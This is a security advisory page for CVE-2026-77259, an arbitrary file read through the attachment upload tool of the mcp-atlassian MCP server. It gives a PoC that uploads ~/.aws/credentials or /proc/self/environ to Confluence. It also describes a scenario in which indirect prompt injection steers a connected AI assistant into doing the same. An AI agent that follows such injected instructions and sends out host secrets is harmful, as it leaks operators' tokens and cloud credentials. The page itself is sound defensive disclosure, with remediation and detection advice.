CVE-2026-77259: mcp-atlassian: arbitrary file read via attachment upload

Q: Is CVE-2026-77259 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-77259, increasing the risk of exploitation.

Q: How to fix CVE-2026-77259?

1) Upgrade mcp-atlassian to 0.22.0 or later (fix in PR #1448, commit b041733). 2) Rotate all secrets that were available to the server process: Atlassian API tokens, cloud credentials, and anything in the environment. 3) Run the server in a container with a minimal filesystem, a read-only root, no mounted credential directories, and minimal environment variables. 4) Limit which MCP clients can reach the server, and use per-user tokens with least-privilege Confluence permissions. 5) Disable or gate the confluence_upload_attachment tool (and the Jira equivalents) where it is not needed, or require human approval for it. 6) Detection: review Confluence audit logs for unexpected attachment uploads (for example files named like images but containing credential text, or large numbers of small uploads), and review MCP tool-call logs for file_path values outside expected directories, especially /proc, /etc, and home directories. 7) Check whether jira/attachments.py and upload_attachments() are covered by the installed version.

Q: What systems are affected by CVE-2026-77259?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, MCP servers, tool-calling LLM assistants, enterprise knowledge integrations.

Q: What is the CVSS score for CVE-2026-77259?

CVE-2026-77259 has a CVSS v3.1 base score of 7.7 (HIGH). The EPSS exploitation probability is 0.44%.

GHSA-6cr4-ccf3-x7h4HIGHPoC AVAILABLECISA: TRACK*

Published September 22, 2026

CISO Take

mcp-atlassian before 0.22.0 lets any authenticated MCP client pass an arbitrary server-side file path to the Confluence attachment upload tool. The server reads the file and uploads it to a Confluence page the attacker controls, so the contents leave the host. On Linux and Docker deployments, /proc/self/environ exposes every runtime secret, including Atlassian API tokens, in one call. This is an incomplete fix of GHSA-xjgw-4wvw-rgm4: the download path was hardened but the upload path was not. A working PoC is public and the CVSS is 7.7 (scope changed, high confidentiality impact). Exploitation likelihood is moderate (EPSS 0.4%, top 67%), the CVE is not in CISA KEV, and SSVC says TRACK*. The package has 38 other CVEs and only 1 tracked downstream dependent, so the blast radius is limited to teams running this MCP server. Upgrade to 0.22.0 now. Then rotate any Atlassian tokens and other secrets that were reachable from the MCP server process.

Sources:NVDGitHub AdvisoryEPSSATLASsooperset/mcp-atlassian GitHub

What is the risk?

High. The attack is network-reachable, low complexity, needs only low privileges (an authenticated MCP client with edit rights on one Confluence page), and needs no user interaction. Impact is confidentiality only, but the scope change matters: stolen tokens give persistent access to Atlassian that outlasts patching or shutting down the MCP server. A public PoC exists and there is no known active exploitation (not in KEV). The package's history of 38 other CVEs raises the chance of further path-handling bugs. Risk is highest for shared or multi-tenant MCP deployments and for servers that run with broad filesystem access or hold many secrets in their environment.

How does the attack unfold?

Initial Access

The attacker gains an authenticated MCP client session, or injects a prompt into an agent connected to the mcp-atlassian server.

AML.T0053

Exploitation

The attacker calls confluence_upload_attachment with a file_path such as /proc/self/environ; the path is not validated and the file is opened.

AML.T0037

Exfiltration

The server uploads the file contents as an attachment to a Confluence page the attacker can edit, and the attacker downloads it.

AML.T0086

Impact

The stolen Atlassian tokens and cloud credentials give the attacker persistent API access that survives patching or shutdown of the MCP server.

AML.T0091.000

Initial Access

The attacker gains an authenticated MCP client session, or injects a prompt into an agent connected to the mcp-atlassian server.

AML.T0053

Exploitation

The attacker calls confluence_upload_attachment with a file_path such as /proc/self/environ; the path is not validated and the file is opened.

AML.T0037

Exfiltration

The server uploads the file contents as an attachment to a Confluence page the attacker can edit, and the attacker downloads it.

AML.T0086

Impact

The stolen Atlassian tokens and cloud credentials give the attacker persistent API access that survives patching or shutdown of the MCP server.

AML.T0091.000

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
MCP Atlassian	pip	< 0.22.0	`0.22.0`
2 dependents85% patched~4d to patchFull package profile →

Do you use MCP Atlassian? You're affected.

How severe is it?

CVSS 3.1

7.7 / 10

EPSS

0.4%

chance of exploitation in 30 days

Higher than 39% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○CISA SSVC: Public PoC

○Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVNetwork

ACLow

PRLow

UINone

SChanged

CHigh

INone

ANone

What should I do?

1 step

1) Upgrade mcp-atlassian to 0.22.0 or later (fix in PR #1448, commit b041733). 2) Rotate all secrets that were available to the server process: Atlassian API tokens, cloud credentials, and anything in the environment. 3) Run the server in a container with a minimal filesystem, a read-only root, no mounted credential directories, and minimal environment variables. 4) Limit which MCP clients can reach the server, and use per-user tokens with least-privilege Confluence permissions. 5) Disable or gate the confluence_upload_attachment tool (and the Jira equivalents) where it is not needed, or require human approval for it. 6) Detection: review Confluence audit logs for unexpected attachment uploads (for example files named like images but containing credential text, or large numbers of small uploads), and review MCP tool-call logs for file_path values outside expected directories, especially /proc, /etc, and home directories. 7) Check whether jira/attachments.py and upload_attachments() are covered by the installed version.

What does CISA's SSVC say?

DecisionTrack*

Exploitationpoc

AutomatableNo

Technical Impactpartial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Data ExtractionData LeakageAgentPluginAPIAML.T0037- Data from Local System AML.T0053- AI Agent Tool Invocation AML.T0055- Unsecured Credentials AML.T0086- Exfiltration via AI Agent Tool Invocation AML.T0091.000- Application Access Token AML.T0098- AI Agent Tool Credential Harvesting

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Art. 15-Accuracy, robustness and cybersecurity

ISO 42001

A.10.3-SuppliersA.6.2.6-AI system operation and monitoring

NIST AI RMF

GOVERN 6.1-Third-party AI risk policiesMANAGE 2.3-Response to unknown or emergent risks

OWASP LLM Top 10

LLM02-Sensitive Information DisclosureLLM03-Supply ChainLLM06-Excessive Agency

Frequently Asked Questions

What is CVE-2026-77259?

Is CVE-2026-77259 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-77259, increasing the risk of exploitation.

How to fix CVE-2026-77259?

1) Upgrade mcp-atlassian to 0.22.0 or later (fix in PR #1448, commit b041733). 2) Rotate all secrets that were available to the server process: Atlassian API tokens, cloud credentials, and anything in the environment. 3) Run the server in a container with a minimal filesystem, a read-only root, no mounted credential directories, and minimal environment variables. 4) Limit which MCP clients can reach the server, and use per-user tokens with least-privilege Confluence permissions. 5) Disable or gate the confluence_upload_attachment tool (and the Jira equivalents) where it is not needed, or require human approval for it. 6) Detection: review Confluence audit logs for unexpected attachment uploads (for example files named like images but containing credential text, or large numbers of small uploads), and review MCP tool-call logs for file_path values outside expected directories, especially /proc, /etc, and home directories. 7) Check whether jira/attachments.py and upload_attachments() are covered by the installed version.

What systems are affected by CVE-2026-77259?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, MCP servers, tool-calling LLM assistants, enterprise knowledge integrations.

What is the CVSS score for CVE-2026-77259?

CVE-2026-77259 has a CVSS v3.1 base score of 7.7 (HIGH). The EPSS exploitation probability is 0.44%.

What is the AI security impact?

Affected AI Architectures

agent frameworksMCP serverstool-calling LLM assistantsenterprise knowledge integrations

MITRE ATLAS Techniques

AML.T0037Data from Local System

AML.T0053AI Agent Tool Invocation

AML.T0055Unsecured Credentials

AML.T0086Exfiltration via AI Agent Tool Invocation

AML.T0091.000Application Access Token

AML.T0098AI Agent Tool Credential Harvesting

Compliance Controls Affected

EU AI Act: Art. 15

ISO 42001: A.10.3, A.6.2.6

NIST AI RMF: GOVERN 6.1, MANAGE 2.3

OWASP LLM Top 10: LLM02, LLM03, LLM06

What are the technical details?

Original Advisory

### Summary Missing path validation in `confluence_upload_attachment` allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, `/proc/self/environ` yields all runtime secrets in a single call. --- ### Details `AttachmentsMixin.upload_attachment()` in `src/mcp_atlassian/confluence/attachments.py` opens the caller-supplied `file_path` with no boundary check: ```python # line 477 files = {"file": (filename, open(file_path, "rb"))} ``` The download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via `validate_safe_path()` (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (`servers/confluence.py:1295`) passes `file_path` verbatim with no additional sanitization. --- ### PoC ```bash # 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly) cp ~/.aws/credentials /tmp/diagram.png # 2. Call the MCP tool confluence_upload_attachment( content_id = "<any page attacker can edit>", file_path = "/tmp/diagram.png" ) # 3. Download attachment from Confluence — contains raw credentials ``` Tested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact. --- ### Impact Any MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, `/proc/self/environ` exposes all users' API tokens in a single request. Exfiltrated Atlassian tokens provide persistent API access independent of MCP, surviving server shutdown or patching. Incomplete fix of GHSA-xjgw-4wvw-rgm4 — arbitrary file read on upload mirrors the arbitrary file write on download fixed in that advisory. --- ### Suggested Fix ```python # src/mcp_atlassian/confluence/attachments.py — upload_attachment() # Add after abspath conversion, before open(): try: validate_safe_path(file_path) except ValueError as e: return {"success": False, "error": str(e)} ``` Same fix required in `upload_attachments()` and `src/mcp_atlassian/jira/attachments.py`.

Exploitation Scenario

An attacker with a valid MCP client session, or an indirect prompt injection that steers an AI assistant connected to the MCP server, calls confluence_upload_attachment with content_id set to a page they can edit and file_path set to /proc/self/environ (or ~/.aws/credentials copied to a benign-looking name). The server opens the file without any path check and uploads it as an attachment. The attacker downloads the attachment from Confluence and extracts the API tokens and cloud keys. They then use those credentials directly against Atlassian and cloud APIs, independent of the MCP server, and keep access after the server is patched or taken offline.

Weaknesses (CWE)

CWE-22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')Primary CWE-552Files or Directories Accessible to External PartiesPrimary CWE-22Improper Limitation of a Pathname to a Restricted Directory CWE-552Files or Directories Accessible to External Parties

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

[Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
[Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.